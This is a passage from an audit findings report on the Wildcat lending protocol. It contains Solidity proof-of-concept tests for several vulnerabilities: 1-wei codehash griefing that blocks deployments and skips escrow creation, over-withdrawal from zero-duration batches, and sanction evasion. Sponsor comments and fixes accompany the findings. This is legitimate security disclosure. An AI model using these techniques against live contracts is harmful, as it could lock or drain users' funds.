The Wildcat Protocol Findings &amp; Analysis Report

We decided to permit borrowers to close markets if delinquent and just zero out state.timeDelinquent, returning everything outstanding at that moment and ending things there. It’s preferable from the POV of the lender to just be able to access their notional and interest ASAP, rather than wait for the timer to run back down to within the grace period. There’s no alternative ‘good’ solution to this that isn’t particularly fiddly given the way in which interest compounds.

The suggested solution would require that people waited until the market was out of delinquency before the scale factor caught up when only the penalty rate applied, so they could redeem for the extra amount due to them: this could be a long time if the situation leading up to a market closure after going delinquent is a protracted one.

Mitigated here.

WildcatMarketControllerFactory.sol#L287-L296

[H-02] `codehash` check in factory contracts does not account for non-empty addresses

Submitted by MiloTruck, also found by Robert (1, 2, 3) and 0xDING99YA

In WildcatMarketControllerFactory.sol, registered borrowers can call deployController() to deploy a WildcatMarketController contract for themselves.

The function checks if the codehash of the controller address is bytes32(0) to determine if the controller has already been deployed:

    // Salt is borrower address
    bytes32 salt = bytes32(uint256(uint160(msg.sender)));
    controller = LibStoredInitCode.calculateCreate2Address(
      ownCreate2Prefix,
      salt,
      controllerInitCodeHash
    );
    if (controller.codehash != bytes32(0)) { // auditor: This check
      revert ControllerAlreadyDeployed();
    }

This same check is also used in deployMarket(), which is called by borrowers to deploy markets:

WildcatMarketController.sol#L349-L353

    bytes32 salt = _deriveSalt(asset, namePrefix, symbolPrefix);
    market = LibStoredInitCode.calculateCreate2Address(ownCreate2Prefix, salt, marketInitCodeHash);
    if (market.codehash != bytes32(0)) {
      revert MarketAlreadyDeployed();
    }

This check also exists in createEscrow(), which is called by markets to deploy an escrow contract whenever a sanctioned lender gets blocked:

WildcatSanctionsSentinel.sol#L104-L106

    escrowContract = getEscrowAddress(borrower, account, asset);

    if (escrowContract.codehash != bytes32(0)) return escrowContract;

However, this <address>.codehash != bytes32(0) check is insufficient to determine if an address has existing code. According to EIP-1052, addresses without code only return a 0x0 codehash when they are empty:

In case the account does not exist or is empty (as defined by EIP-161) 0 is pushed to the stack.

In case the account does not have code the keccak256 hash of empty data (i.e. c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470) is pushed to the stack.

As seen from above, addresses without code can also return keccak256("") as its codehash if it is non-empty. EIP-161 states that an address must have a zero ETH balance for it to be empty:

An account is considered empty when it has no code and zero nonce and zero balance.

As such, if anyone transfers 1 wei to an address, .codehash will return keccak256("") instead of bytes32(0), making the checks shown above pass incorrectly.

Since all contract deployments in the protocol use CREATE2, a malicious attacker can harm users by doing the following:

For controller deployments:
- Attacker calls computeControllerAddress() to compute the controller address for a borrower.
- Attacker transfers 1 wei to it, causing .codehash to become non-zero.
- When deployController() is called by the borrower, the check passes, causing the function to revert.
For market deployments:
- Attacker calls computeMarketAddress() with arguments such that the deployment salt is the same.
- Attacker transfers 1 wei to the resulting market address, causing .codehash to become non-zero.
- When deployMarket() is called by the borrower, the function reverts.
For escrow deployments:
- Attacker calls getEscrowAddress() with the borrower, sanctioned lender and market/asset address to compute the resulting escrow address.
- Attacker transfers 1 wei to the escrow address, causing .codehash to become non-zero.
- When either nukeFromOrbit() or executeWithdrawal() is called, createEscrow() simply returns the escrow address instead of deploying an escrow contract.
- The market tokens and/or funds of the lender are transferred to the escrow address, causing them to be unrecoverable since the escrow contract was never deployed.

Note that for controller deployments, since the salt is fixed to the borrower address and cannot be varied, the DOS for deployController() is permanent. This effectively locks the borrower out of all protocol functionality forever since they can never deploy a market controller for themselves.

Impact

An attacker can do the following at the cost of 1 wei and some gas:

Permanently lock a registered borrower out of all borrowing-related functionality by forcing deployController() to always revert for their address.
Grief market deployments by causing deployMarket() to always revert for a given borrower, lender and market.
Cause a sanctioned lender to lose all their funds in a market when nukeFromOrbit() or executeWithdrawal() is called for their address.

Proof of Concept

The code below contains three tests:

test_CanDOSControllerDeployment() demonstrates how an attacker can force deployController() to revert permanently for a borrower by transferring 1 wei to the computed controller address.
test_CanDOSMarketDeployment() demonstrates how deployMarket() can be forced to revert with the same attack.
test_CanSkipEscrowDeployment() shows how an attacker can skip the escrow deployment for a lender if they get blocked, causing their market tokens to be unrecoverable.

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.20;

import 'src/WildcatSanctionsSentinel.sol';
import 'src/WildcatArchController.sol';
import 'src/WildcatMarketControllerFactory.sol';
import 'src/interfaces/IWildcatMarketControllerEventsAndErrors.sol';

import 'forge-std/Test.sol';
import 'test/shared/TestConstants.sol';
import 'test/helpers/MockERC20.sol';

contract CodeHashTest is Test, IWildcatMarketControllerEventsAndErrors {
    // Wildcat contracts
    address MOCK_CHAINALYSIS_ADDRESS = address(0x1337);
    WildcatSanctionsSentinel sentinel;
    WildcatArchController archController;
    WildcatMarketControllerFactory controllerFactory;
    
    // Test contracts
    MockERC20 asset;

    // Users
    address AIKEN;
    address DUEET;

    function setUp() external {
        // Deploy Wildcat contracts
        archController = new WildcatArchController();
        sentinel = new WildcatSanctionsSentinel(address(archController), MOCK_CHAINALYSIS_ADDRESS);
        MarketParameterConstraints memory constraints = MarketParameterConstraints({
            minimumDelinquencyGracePeriod: MinimumDelinquencyGracePeriod,
            maximumDelinquencyGracePeriod: MaximumDelinquencyGracePeriod,
            minimumReserveRatioBips: MinimumReserveRatioBips,
            maximumReserveRatioBips: MaximumReserveRatioBips,
            minimumDelinquencyFeeBips: MinimumDelinquencyFeeBips,
            maximumDelinquencyFeeBips: MaximumDelinquencyFeeBips,
            minimumWithdrawalBatchDuration: MinimumWithdrawalBatchDuration,
            maximumWithdrawalBatchDuration: MaximumWithdrawalBatchDuration,
            minimumAnnualInterestBips: MinimumAnnualInterestBips,
            maximumAnnualInterestBips: MaximumAnnualInterestBips
        });
        controllerFactory = new WildcatMarketControllerFactory(
            address(archController),
            address(sentinel),
            constraints
        );

        // Register controllerFactory in archController
        archController.registerControllerFactory(address(controllerFactory));

        // Deploy asset token
        asset = new MockERC20();

        // Setup Aiken and register him as borrower
        AIKEN = makeAddr("AIKEN");
        archController.registerBorrower(AIKEN);

        // Setup Dueet and give him some asset token
        DUEET = makeAddr("DUEET");
        asset.mint(DUEET, 1000e18);
    }

    function test_CanDOSControllerDeployment() public {
        // Dueet front-runs Aiken and transfers 1 wei to Aiken's controller address
        address controllerAddress = controllerFactory.computeControllerAddress(AIKEN);
        payable(controllerAddress).transfer(1);

        // Codehash of Aiken's controller address is now keccak256("")
        assertEq(controllerAddress.codehash, keccak256(""));

        // Aiken calls deployController(), but it reverts due to non-zero codehash
        vm.prank(AIKEN);
        vm.expectRevert(WildcatMarketControllerFactory.ControllerAlreadyDeployed.selector);
        controllerFactory.deployController();
    }

    function test_CanDOSMarketDeployment() public {
        // Deploy WildcatMarketController for Aiken
        (WildcatMarketController controller, ) = _deployControllerAndMarket(
            AIKEN,
            address(0),
            "_",
            "_"
        );

        // Dueet front-runs Aiken and transfers 1 wei to market address
        string memory namePrefix = "Market Token";
        string memory symbolPrefix = "MKT";
        address marketAddress = controller.computeMarketAddress(
            address(asset), 
            namePrefix, 
            symbolPrefix
        );
        payable(marketAddress).transfer(1);

        // Codehash of market address is now keccak256("")
        assertEq(marketAddress.codehash, keccak256(""));

        // Aiken calls deployMarket(), but it reverts due to non-zero codehash
        vm.prank(AIKEN);
        vm.expectRevert(MarketAlreadyDeployed.selector);
        controller.deployMarket(
            address(asset),
            namePrefix,
            symbolPrefix,
            type(uint128).max,
            MaximumAnnualInterestBips,
            MaximumDelinquencyFeeBips,
            MaximumWithdrawalBatchDuration,
            MaximumReserveRatioBips,
            MaximumDelinquencyGracePeriod
        );
    }

    function test_CanSkipEscrowDeployment() public {
        // Deploy WildcatMarketController and WildcatMarket for Aiken
        (WildcatMarketController controller, WildcatMarket market) = _deployControllerAndMarket(
            AIKEN,
            address(asset),
            "Market Token",
            "MKT"
        );

        // Register Dueet as lender
        address[] memory arr = new address[](1);
        arr[0] = DUEET;
        vm.prank(AIKEN);
        controller.authorizeLenders(arr);

        // Dueet becomes a lender in the market
        vm.startPrank(DUEET);
        asset.approve(address(market), 1000e18);
        market.depositUpTo(1000e18);
        vm.stopPrank();

        // Dueet becomes sanctioned
        vm.mockCall(
            MOCK_CHAINALYSIS_ADDRESS,
            abi.encodeCall(IChainalysisSanctionsList.isSanctioned, (DUEET)),
            abi.encode(true)
        );

        // Attacker transfers 1 wei to Dueet's escrow address
        // Note: Borrower and lender addresses are swapped due to a separate bug
        address escrowAddress = sentinel.getEscrowAddress(DUEET, AIKEN, address(market));
        payable(escrowAddress).transfer(1);

        // Codehash of market address is now keccak256("")
        assertEq(escrowAddress.codehash, keccak256(""));

        // Dueet gets blocked in market
        market.nukeFromOrbit(DUEET);

        // Dueet's MKT tokens are transferred to his escrow address
        assertEq(market.balanceOf(escrowAddress), 1000e18);

        // However, the escrow contract was not deployed
        assertEq(escrowAddress.code.length, 0); 
    }

    function _deployControllerAndMarket(
        address user, 
        address _asset,
        string memory namePrefix, 
        string memory symbolPrefix
    ) internal returns (WildcatMarketController, WildcatMarket){
        vm.prank(user);
        (address controller, address market) = controllerFactory.deployControllerAndMarket(
            namePrefix,
            symbolPrefix,
            _asset,
            type(uint128).max,
            MaximumAnnualInterestBips,
            MaximumDelinquencyFeeBips,
            MaximumWithdrawalBatchDuration,
            MaximumReserveRatioBips,
            MaximumDelinquencyGracePeriod
        );
        return (WildcatMarketController(controller), WildcatMarket(market));
    }
}

Recommended Mitigation

Consider checking if the codehash of an address is not keccak256("") as well:

WildcatMarketControllerFactory.sol#L294-L296

-   if (controller.codehash != bytes32(0)) {
+   if (controller.codehash != bytes32(0) && controller.codehash != keccak256("")) {
      revert ControllerAlreadyDeployed();
    }

WildcatMarketController.sol#L351-L353

-   if (market.codehash != bytes32(0)) {
+   if (market.codehash != bytes32(0) && market.codehash != keccak256("")) {
      revert MarketAlreadyDeployed();
    }

WildcatSanctionsSentinel.sol#L106

-   if (escrowContract.codehash != bytes32(0)) return escrowContract;
+   if (escrowContract.codehash != bytes32(0)) && escrowContract.codehash != keccak256("") return escrowContract;

Alternatively, use <address>.code.length != 0 to check if an address has code instead.

Assessed type

Invalid Validation

Fix for this is easier than suggested - just change from x.codehash != bytes32(0) to x.code.length != 0.

Mitigated here and here.

I’d emphasise here, however, that this is only a High Risk finding in the escrow situation - the others are grieving attacks that cause nothing to be “lost”. Still a valuable finding, mind.

[H-03] Borrower has no way to update `maxTotalSupply` of `market` or close market.

Submitted by 0xpiken, also found by Aymen0909, MiloTruck, Fulum, 0xCiphky, max10afternoon, tallo, Drynooo, cartlex_, HALITUS, gumgumzum (1, 2), CaeraDenoir, serial-coder, stackachu, 0xkazim, josephdara, Toshii, DeFiHackLabs (1, 2), SpicyMeatball (1, 2), ZdravkoHr (1, 2), nirlin, radev_sw, TuringConsulting, nonseodion, Yanchuan, hash (1, 2), erictee, jasonxiale, _nd_koo, 0xhegel, gizzy, sl1, QiuhaoLi (1, 2), trachev, smiling_heretic, crunch, LokiThe5th, said, lanrebayode77, circlelooper, SovaSlava, osmanozdemir1, Mike_Bello90, TrungOre, Silvermist, Vagner (1, 2), kodyvim, deth, ke1caM (1, 2), Jiamin, 0xStalin (1, 2), almurhasan, peter, audityourcontracts, ggg_ttt_hhh, AM, Eigenvectors (1, 2), 3docSec, Juntao, marqymarq10 (1, 2), 0xComfyCat (1, 2), rvierdiiev (1, 2), ayden, squeaky_cactus, cu5t0mpeo, zaevlad, HChang26, and T1MOH (1, 2)

Without the ability to update maxTotalSupply, borrower has no way to raise more assets in a specific market. Even worse, borrower has to pay extra interest for unused assets all the time because borrower has no way to reduce the max total supply of the market.

Similarly, borrower has to pay extra interest to the no-longer-used market all the time because there is no way to close it.

Proof of Concept

There are access controls on functions setMaxTotalSupply() and closeMarket(), and only WildcatMarketController is allowed to access them; however, there is not a function in WildcatMarketController allowing the borrower to access them.

Recommended Mitigation Steps

Add setMaxTotalSupply() and closeMarket() in WildcatMarketController to allow the borrower access these functions:

  function setMaxTotalSupply(address market, uint256 _maxTotalSupply) external onlyBorrower {
    WildcatMarket(market).setMaxTotalSupply(_maxTotalSupply);
  }
  function closeMarket(address market) external onlyBorrower {
    WildcatMarket(market).closeMarket();
  }

Assessed type

Access Control

Mitigated here and here.

Lodging a protest against the High Risk decision, however:

Markets could still effectively be closed by all lenders redeeming their market tokens; the borrower handling these repayments ad hoc and the borrower removing all lenders from the appropriate controller to prevent future deposits. No funds are at risk here.

The inability to increase or decrease the capacity from the controller - which can lead to more interest accruing to a lender that refuses to withdraw - is not a matter of funds being “lost” but rather a grieving.

In either case, assets are not at direct risk while in the market: the definition of High Risk as given by the label is “assets can be stolen/lost/compromised directly”.

This does not apply here. It’s certainly a Medium; however, and a valuable finding in and of itself.

laurenceday (Wildcat) confirmed and commented:

I partially agree with the sponsor. However, if the protocol was deployed with this bug, it would lack 2 core functionalities.

A protocol being fully functional as intended, which is crucial to attract and keep customers/users with funds in the long term, can be considered a valuable asset itself.

Although Medium severity is predestined for this category of findings which impede the function of a protocol, High severity seems justified given the impact.

The following might further clarify my reasoning:

Please also consider that not all findings that lead to lost or stolen funds will strictly yield a High severity finding, since it depends on the amount of funds at risk.

In contrast, not every impeded functionality will only yield Medium severity.

Fair enough - not going to throw toys out of the pram over semantics. Appreciate the feedback!

[H-04] When `withdrawalBatchDuration` is set to zero lenders can withdraw more then allocated to a batch

Submitted by 0xCiphky

Lines of code

https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/market/WildcatMarketWithdrawals.sol#L137
https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/market/WildcatMarketWithdrawals.sol#L77

Vulnerability details

The Wildcat protocol utilizes a withdrawal cycle where lenders call queueWithdrawals which then goes through a set amount of time (withdrawal duration period) before a withdrawal can be executed (if the protocol has enough funds to cover the withdrawal). Withdrawal requests that could not be fully honored at the end of their withdrawal cycle are batched together, marked as expired withdrawals, and added to the withdrawal queue. These batches are tracked using the time of expiry, and when assets are returned to a market with a non-zero withdrawal queue, assets are immediately routed to the unclaimed withdrawals pool and can subsequently be claimed by lenders with the oldest expired withdrawals first.

The withdrawalBatchDuration can be set to zero so lenders do not have to wait before being able to withdraw funds from the market; however, this can cause issues where lenders in a batch can withdraw more than their pro-rata share of the batch’s paid assets.

A lender calls queueWithdrawal first to initiate the withdrawal; this will place it in a batch respective to its expiry:

function queueWithdrawal(uint256 amount) external nonReentrant {
        MarketState memory state = _getUpdatedState();

        ...

        // If there is no pending withdrawal batch, create a new one.
        if (state.pendingWithdrawalExpiry == 0) {
            state.pendingWithdrawalExpiry = uint32(block.timestamp + withdrawalBatchDuration);
            emit WithdrawalBatchCreated(state.pendingWithdrawalExpiry);
        }
        // Cache batch expiry on the stack for gas savings.
        uint32 expiry = state.pendingWithdrawalExpiry;

        WithdrawalBatch memory batch = _withdrawalData.batches[expiry];

        // Add scaled withdrawal amount to account withdrawal status, withdrawal batch and market state.
        _withdrawalData.accountStatuses[expiry][msg.sender].scaledAmount += scaledAmount;
        batch.scaledTotalAmount += scaledAmount;
        state.scaledPendingWithdrawals += scaledAmount;

        emit WithdrawalQueued(expiry, msg.sender, scaledAmount);

        // Burn as much of the withdrawal batch as possible with available liquidity.
        uint256 availableLiquidity = batch.availableLiquidityForPendingBatch(state, totalAssets());
        if (availableLiquidity > 0) {
            _applyWithdrawalBatchPayment(batch, state, expiry, availableLiquidity);
        }

        // Update stored batch data
        _withdrawalData.batches[expiry] = batch;

        // Update stored state
        _writeState(state);
    }

Now once the withdrawalBatchDuration has passed, a lender can call executeWithdrawal to finalize the withdrawal. This will grab the batch and let the lender withdraw a percentage of the batch if the batch is not fully paid or all funds if it is fully paid.

function executeWithdrawal(address accountAddress, uint32 expiry) external nonReentrant returns (uint256) {
        if (expiry > block.timestamp) {
            revert WithdrawalBatchNotExpired();
        }
        MarketState memory state = _getUpdatedState();

        WithdrawalBatch memory batch = _withdrawalData.batches[expiry];
        AccountWithdrawalStatus storage status = _withdrawalData.accountStatuses[expiry][accountAddress];

        uint128 newTotalWithdrawn =
            uint128(MathUtils.mulDiv(batch.normalizedAmountPaid, status.scaledAmount, batch.scaledTotalAmount));
        uint128 normalizedAmountWithdrawn = newTotalWithdrawn - status.normalizedAmountWithdrawn;
        status.normalizedAmountWithdrawn = newTotalWithdrawn;
        state.normalizedUnclaimedWithdrawals -= normalizedAmountWithdrawn;

        ...

        // Update stored state
        _writeState(state);

        return normalizedAmountWithdrawn;
    }

Let’s look at how this percentage is determined: the newTotalWithdrawn function determines a lender’s available withdrawal amount by multiplying the normalizedAmountPaid with the scaledAmount and dividing the result by the batch’s scaledTotalAmount. This ensures that each lender in the batch can withdraw an even amount of the available funds in the batch depending on their scaledAmount.

 uint128 newTotalWithdrawn =
            uint128(MathUtils.mulDiv(batch.normalizedAmountPaid, status.scaledAmount, batch.scaledTotalAmount));

This works fine when withdrawalBatchDuration is set over zero, as the batch values (except normalizedAmountPaid) are finalized. However, when set to zero, we can end up with lenders in a batch being able to withdraw more than normalizedAmountPaid in that batch, potentially violating protocol invariants.

Consider the following scenario:

There is only 5 tokens available to burn.

Lender A calls queueWithdrawal with 5 and executeWithdrawal instantly.

newTotalWithdrawn = (normalizedAmountPaid) * (scaledAmount) / scaledTotalAmount

newTotalWithdrawn = 5 * 5 = 25 / 5 = 5

Lender A was able to fully withdraw.

Lender B comes along and calls queueWithdrawal with 5 and executeWithdrawal instantly in the same block. This will add to the same batch as lender A as it is the same expiry.

Now let’s look at newTotalWithdrawn for Lender B:

newTotalWithdrawn = (normalizedAmountPaid) * (scaledAmount) / scaledTotalAmount

newTotalWithdrawn = 5 * 5 = 25 / 10 = 2.5

Lets see what the batch looks like now:

Lender A was able to withdraw 5 tokens in the batch.
Lender B was able to withdraw 2.5 tokens in the batch.
The batch.normalizedAmountPaid is 5, meaning the Lenders’ withdrawal amount surpassed the batch’s current limit.

Impact

This will break the following invariant in the protocol:

“Withdrawal execution can only transfer assets that have been counted as paid assets in the corresponding batch, i.e. lenders with withdrawal requests can not withdraw more than their pro-rata share of the batch’s paid assets.”

It will also mean that funds reserved for other batches may not be able to be fulfilled even if the batch’s normalizedAmountPaid number shows that it should be able to.

Proof Of Concept

For the following test, make sure you use the following parameters in ExpectedStateTracker:

MarketParameters internal parameters = MarketParameters({
        asset: address(0),
        namePrefix: "Wildcat ",
        symbolPrefix: "WC",
        borrower: borrower,
        controller: address(0),
        feeRecipient: address(0),
        sentinel: address(sanctionsSentinel),
        maxTotalSupply: uint128(DefaultMaximumSupply),
        protocolFeeBips: 0,
        annualInterestBips: 0,
        delinquencyFeeBips: DefaultDelinquencyFee,
        withdrawalBatchDuration: 0,
        reserveRatioBips: DefaultReserveRatio,
        delinquencyGracePeriod: DefaultGracePeriod
    });

function test_ZeroWithdrawalDuration() external asAccount(address(controller)) {
        assertEq(market.withdrawalBatchDuration(), 0);
        // alice deposit
        _deposit(alice, 2e18);
        // bob deposit
        _deposit(bob, 1e18);
        // borrow 33% of deposits
        _borrow(1e18);
        // alice withdraw request
        startPrank(alice);
        market.queueWithdrawal(1e18);
        stopPrank();
        // fast forward 1 days
        fastForward(1 days);
        // alice withdraw request
        startPrank(alice);
        market.queueWithdrawal(1e18);
        stopPrank();
        // lets look at the withdrawal batch
        assertEq(market.getWithdrawalBatch(uint32(block.timestamp)).normalizedAmountPaid, 1e18);
        assertEq(market.getWithdrawalBatch(uint32(block.timestamp)).scaledTotalAmount, 1e18);
        assertEq(market.getWithdrawalBatch(uint32(block.timestamp)).scaledAmountBurned, 1e18);
        // check amount alice has withdrawn so far (should be zero)
        assertEq(
            market.getAccountWithdrawalStatus(address(alice), uint32(block.timestamp)).normalizedAmountWithdrawn, 0
        );
        // alice withdraw
        startPrank(alice);
        market.executeWithdrawal(address(alice), uint32(block.timestamp));
        stopPrank();
        // check amount alice has withdrawn so far (should be 1e18)
        assertEq(
            market.getAccountWithdrawalStatus(address(alice), uint32(block.timestamp)).normalizedAmountWithdrawn, 1e18
        );
        // bob withdraw request in same batch
        startPrank(bob);
        market.queueWithdrawal(1e18);
        stopPrank();
        // lets look at the withdrawal batch now
        assertEq(market.getWithdrawalBatch(uint32(block.timestamp)).normalizedAmountPaid, 1e18);
        assertEq(market.getWithdrawalBatch(uint32(block.timestamp)).scaledTotalAmount, 2e18);
        assertEq(market.getWithdrawalBatch(uint32(block.timestamp)).scaledAmountBurned, 1e18);
        // check amount bob has withdrawn so far (should be zero)
        assertEq(market.getAccountWithdrawalStatus(address(bob), uint32(block.timestamp)).normalizedAmountWithdrawn, 0);
        // bob withdraw
        startPrank(bob);
        market.executeWithdrawal(address(bob), uint32(block.timestamp));
        stopPrank();
        // check amount bob has withdrawn so far (should be 5e17)
        assertEq(
            market.getAccountWithdrawalStatus(address(bob), uint32(block.timestamp)).normalizedAmountWithdrawn, 5e17
        );
        // lets look at the withdrawal batch now
        assertEq(market.getWithdrawalBatch(uint32(block.timestamp)).normalizedAmountPaid, 1e18);
        assertEq(market.getWithdrawalBatch(uint32(block.timestamp)).scaledTotalAmount, 2e18);
        assertEq(market.getWithdrawalBatch(uint32(block.timestamp)).scaledAmountBurned, 1e18);
        // what happened is alice and bob have withdrawn 1e18 and 5e17 respectively
        // but the batch is 1e18
        uint128 normalizedAmountPaid = market.getWithdrawalBatch(uint32(block.timestamp)).normalizedAmountPaid;
        uint128 aliceWithdrawn =
            market.getAccountWithdrawalStatus(address(alice), uint32(block.timestamp)).normalizedAmountWithdrawn;
        uint128 bobWithdrawn =
            market.getAccountWithdrawalStatus(address(bob), uint32(block.timestamp)).normalizedAmountWithdrawn;
        assertGt(aliceWithdrawn + bobWithdrawn, normalizedAmountPaid);
    }

Tools Used

Foundry

Recommendation

Review the protocol’s withdrawal mechanism and consider adjusting the behaviour of withdrawals when withdrawalBatchDuration is set to zero to ensure that lenders cannot withdraw more than their pro-rata share of the batch’s paid assets.

d1ll0n (Wildcat) confirmed and commented:

Thank you! Good catch - going to fix this by changing the assertion in executeWithdrawal from:
if (expiry > block.timestamp) {
    revert WithdrawalBatchNotExpired();
}
to:
if (expiry >= block.timestamp) {
      revert WithdrawalBatchNotExpired();
}
so that it’s guaranteed the withdrawal batch can not be added to when it’s in a state that allows execution.

0xTheC0der (judge) increased severity to High

Mitigated here.

[H-05] Lenders can escape the blacklisting of their accounts because they can move their MarketTokens to different accounts and gain the `WithdrawOnly` Role on any account they want

Submitted by 0xStalin, also found by elprofesor, Infect3d, serial-coder, xeros, radev_sw, jasonxiale, ast3ros, QiuhaoLi, Fulum, TrungOre (1, 2), SandNallani (1, 2), SovaSlava, kodyvim, 0xbepresent, Eigenvectors, 3docSec, marqymarq10, ayden, HChang26, cu5t0mpeo (1, 2), 0xCiphky (1, 2), rvierdiiev (1, 2), nobody2018, YusSecurity, gizzy, nisedo, bdmcbri, ZdravkoHr, 0xComfyCat, and max10afternoon

Lenders can escape the sanctioning of their account in any market.

Proof of Concept

Before diving into the details of how the lenders can escape the sanctioning of their account, first, let’s analyze how a lender can be excised from a Market:

When someone calls nukeFromOrbit within that market while flagged as sanctioned by the Chainanalysis oracle.
When the lender invokes executeWithdrawal while flagged as sanctioned by the Chainalysis oracle

In either of the two options, the execution flow calls the Sentinel::isSanctioned() function to verify if the account(lender) is sanctioned by the borrower of the market

By analyzing the Sentinel::isSanctioned() function, it can be noted that the lender’s account must have been sanctioned in the Oracle first before the account is finally sanction in a Market.

WildcatSanctionsSentinel.sol

  function isSanctioned(address borrower, address account) public view override returns (bool) {
    //@audit-info => sanctionOverrides[borrower][account] must be false <==> sanction must not be overridden for this function to return true!
    //@audit-info => If sanctionOverrides[borrower][account] is set to true, this function will return false, as if the account would not be sanctioned

    //@audit-info => For this function to return true, the account's sanction should have not been overridden (it's set to false), and the account must have been sanctioned in the ChainalysisSanctionsList Oracle.
    return
      !sanctionOverrides[borrower][account] &&
      IChainalysisSanctionsList(chainalysisSanctionsList).isSanctioned(account);
  }

Now, based on the previous explanation, we know that the lender’s account needs to be sanctioned in the Chainalysis Oracle before the Sentinel::isSanctioned() function is called.

This opens up the doors for lenders who realize that their account has been sanctioned in the Chainalysis Oracle to move their MarketTokens to different accounts before the lender’s account is fully blocked in the Market. You may be wondering what’s the point of transferring tokens to accounts that have not been granted any role in the Market, I’ll explain more about this shortly.

The lender transfers their MarketTokens to different accounts using the WildcatMarketToken::transfer() function. As a result, the lender’s account that is sanctioned in the Chainalysis Oracle has no MarketTokens anymore; all those tokens have been moved to other accounts.

Now, at this point, anybody could call the nukeFromOrbit() function to fully sanction the lender’s account in a specific Market. Ether way, the Lender has already moved their tokens to other accounts.

At this point, the lender’s MarketTokens were distributed among different accounts of their own. Such accounts have never interacted with the Market, so their current role is the Null Role.

Everything might look fine because the accounts where the tokens were sent have no permissions to interact with the Market, but there is a bug that allows lenders to gain the WithdrawOnly Role on any account they want, without having the consent of the borrower.

This problem is located in the WildcatMarketController::updateLenderAuthorization() function. The reason of this problem will be explained in the below code walkthrough:

In short, the Lender will be able to set the WithdrawOnly Role to any account they wish. The reason is that any account that is not registered in the _authorizedLenders variable of the Controller will forward the value of _isAuthorized as false. In the WildMarketConfig::updateAccountAuthorization() function, because the value of _isAuthorized is false, it will end up granting the WithdrawOnly Role. This effectively allows any Lender to grant the WithdrawOnly Role to any account they want to.

WildcatMarketController.sol

  //@audit-info => Anybody can call this function and pass a lender and an array of markets where the changes will be applied!
  function updateLenderAuthorization(address lender, address[] memory markets) external {
    for (uint256 i; i < markets.length; i++) {
      address market = markets[i];
      if (!_controlledMarkets.contains(market)) {
        revert NotControlledMarket();
      }
      //@audit-info => Forwards the value of the `lender` argument, and depending on the `lender` address is found in the _authorizedLenders EnumerableSet.AddressSet, will be forwarded a true or false accordingly
        //@audit => If the lender address is not found in the _authorizedLenders variable, it will forward a false to the Market::updateAccountAuthorization() function
      WildcatMarket(market).updateAccountAuthorization(lender, _authorizedLenders.contains(lender));
    }
  }

EnumerableSet.sol

function contains(AddressSet storage set, address value) internal view returns (bool) {
    //@audit-info => Calls the internal _contains()
    //@audit-info => If the given value is found it will return true, otherwise it will return false!
    return _contains(set._inner, bytes32(uint256(uint160(value))));
}

//@audit-info => The internal function will just return a true or false if the given value is in the set or not, but the tx won't be reverted!
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
    return set._indexes[value] != 0;
}

WildcatMarketConfig.sol

  function updateAccountAuthorization(
    address _account,
    //@audit-info => For any account that is not registered in the `_authorizedLenders` of the Controller, this flag was set as false!
    bool _isAuthorized
  ) external onlyController nonReentrant {
    MarketState memory state = _getUpdatedState();
    //@audit-info => If the accountAddress is not registered in the storage, the approval role is set to Null
    //@audit-info => If the account has been blacklisted, tx will revert!
    Account memory account = _getAccount(_account);
    if (_isAuthorized) {
      account.approval = AuthRole.DepositAndWithdraw;
    
    //@audit => Any account not registered in the Controller will be assigned the WithdrawOnly role.
    } else {
      account.approval = AuthRole.WithdrawOnly;
    }
    _accounts[_account] = account;
    _writeState(state);
    emit AuthorizationStatusUpdated(_account, account.approval);
  }

At this point, the Lender has been able to move their MarketTokens to different accounts and to grant the WithdrawOnly Role to all of the accounts they wish to.

Now, they can decide to exit the Market by queuing and executing some withdrawal requests from the different accounts where the MarketTokens were moved. Any of those accounts have now the WithdrawOnly Role and have a balance of MarketTokens, so the Lender will be able to exit the market from any of those accounts.

Recommended Mitigation Steps

The mitigation for this problem is very straight-forward, by limiting the access to which entities can call the WildcatMarketController::updateLenderAuthorization() function; either only allow the Borrower to call it, or create a type of whitelist of valid actors who are capable of updating the lender’s authorization on the Markets. In this way, the Lenders won’t be capable of granting the WithdrawOnly Role to any account they want to; thus, they won’t be able even to attempt to escape the sanctions.

WildcatMarketController.sol

- function updateLenderAuthorization(address lender, address[] memory markets) external {
+ function updateLenderAuthorization(address lender, address[] memory markets) external onlyAuthorizedEntities(){
    for (uint256 i; i < markets.length; i++) {
      address market = markets[i];
      if (!_controlledMarkets.contains(market)) {
        revert NotControlledMarket();
      }
      WildcatMarket(market).updateAccountAuthorization(lender, _authorizedLenders.contains(lender));
    }
  }

modifier onlyAuthorizedEntities() {
    require(msg.sender == <authorizedEntities>, "you are not allowed sir");
    _;
}

Assessed type

Context

Mitigated here.

https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/WildcatSanctionsSentinel.sol#L96-L97
https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/market/WildcatMarketBase.sol#L173-L174
https://github.com/code-423n4/2023-10-wildcat/blob/main/src/market/WildcatMarketWithdrawals.sol#L166-L170

[H-06] Borrower can drain all funds of a sanctioned lender

Submitted by YusSecurity, also found by d3e4, serial-coder, nirlin, xeros, VAD37, DeFiHackLabs, 0xKbl, 0xDING99YA, Aymen0909, ast3ros, Yanchuan, MiloTruck, AS, sl1, QiuhaoLi, gizzy, SovaSlava, TrungOre, cartlex_, kodyvim, Vagner, KeyKiril, GREY-HAWK-REACH, 0xSwahili, ggg_ttt_hhh, 3docSec, Silvermist, 0xbepresent, tallo, ZdravkoHr, 0xCiphky, rvierdiiev, nobody2018, deth, and 0xAsen

Lines of code

Impact

The WildcatMarketBase#_blockAccount() function that is used to block a sanctioned lender contains a critical bug. It incorrectly calls IWildcatSanctionsSentinel(sentinel).createEscrow() with misordered arguments, accidentally creating a vulnerable escrow that enables the borrower to drain all the funds of the sanctioned lender.

The execution of withdrawals (WildcatMarketWithdrawals#executeWithdrawal()) also performs a check if the accountAddress is sanctioned and if it is, then escrow is created and the amount that was to be sent to the lender is sent to the escrow. That escrow, however, is also created with the account and borrower arguments in the wrong order.

